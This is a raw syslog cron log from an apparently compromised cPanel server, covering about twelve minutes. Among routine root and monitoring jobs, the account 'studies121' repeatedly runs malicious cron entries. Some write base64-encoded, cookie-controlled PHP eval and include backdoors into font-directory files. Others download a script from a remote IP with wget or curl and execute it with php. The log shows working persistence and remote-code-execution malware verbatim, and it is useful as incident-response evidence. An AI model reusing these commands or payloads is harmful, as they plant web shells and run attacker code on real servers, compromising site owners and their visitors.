Sep 10 17:04:01 ip-184-168-122-23 CROND[11030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:04:01 ip-184-168-122-23 CROND[11028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:04:01 ip-184-168-122-23 CROND[11031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:04:01 ip-184-168-122-23 CROND[11029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:05:01 ip-184-168-122-23 CROND[11239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:05:01 ip-184-168-122-23 CROND[11243]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 17:05:01 ip-184-168-122-23 CROND[11244]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:05:01 ip-184-168-122-23 CROND[11246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:05:01 ip-184-168-122-23 CROND[11245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:05:01 ip-184-168-122-23 CROND[11247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:05:01 ip-184-168-122-23 CROND[11242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:06:02 ip-184-168-122-23 CROND[11348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:06:02 ip-184-168-122-23 CROND[11351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:06:02 ip-184-168-122-23 CROND[11353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:06:02 ip-184-168-122-23 CROND[11356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:06:02 ip-184-168-122-23 CROND[11357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:07:01 ip-184-168-122-23 CROND[11456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:07:01 ip-184-168-122-23 CROND[11459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:07:01 ip-184-168-122-23 CROND[11458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:07:01 ip-184-168-122-23 CROND[11460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:08:01 ip-184-168-122-23 CROND[11563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:08:01 ip-184-168-122-23 CROND[11565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:08:01 ip-184-168-122-23 CROND[11568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:08:01 ip-184-168-122-23 CROND[11566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:08:01 ip-184-168-122-23 CROND[11567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:09:01 ip-184-168-122-23 CROND[11670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:09:01 ip-184-168-122-23 CROND[11674]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 17:09:01 ip-184-168-122-23 CROND[11673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:09:01 ip-184-168-122-23 CROND[11675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:09:01 ip-184-168-122-23 CROND[11672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:10:01 ip-184-168-122-23 CROND[11776]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:10:01 ip-184-168-122-23 CROND[11778]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 17:10:01 ip-184-168-122-23 CROND[11784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:10:01 ip-184-168-122-23 CROND[11785]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:10:01 ip-184-168-122-23 CROND[11786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:10:01 ip-184-168-122-23 CROND[11787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:10:01 ip-184-168-122-23 CROND[11783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:10:01 ip-184-168-122-23 CROND[11782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:11:01 ip-184-168-122-23 CROND[11984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:11:01 ip-184-168-122-23 CROND[11986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:11:01 ip-184-168-122-23 CROND[11987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:11:01 ip-184-168-122-23 CROND[11990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:12:01 ip-184-168-122-23 CROND[12099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:12:01 ip-184-168-122-23 CROND[12100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:12:01 ip-184-168-122-23 CROND[12103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:12:01 ip-184-168-122-23 CROND[12102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:12:01 ip-184-168-122-23 CROND[12106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:13:01 ip-184-168-122-23 CROND[12209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:13:01 ip-184-168-122-23 CROND[12207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:13:01 ip-184-168-122-23 CROND[12210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:13:01 ip-184-168-122-23 CROND[12211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:14:01 ip-184-168-122-23 CROND[12308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:14:01 ip-184-168-122-23 CROND[12310]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:14:01 ip-184-168-122-23 CROND[12311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:14:01 ip-184-168-122-23 CROND[12313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:14:01 ip-184-168-122-23 CROND[12312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:15:01 ip-184-168-122-23 CROND[12415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:15:01 ip-184-168-122-23 CROND[12420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:15:01 ip-184-168-122-23 CROND[12417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:15:01 ip-184-168-122-23 CROND[12419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:15:01 ip-184-168-122-23 CROND[12418]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:15:01 ip-184-168-122-23 CROND[12421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:16:01 ip-184-168-122-23 CROND[12532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
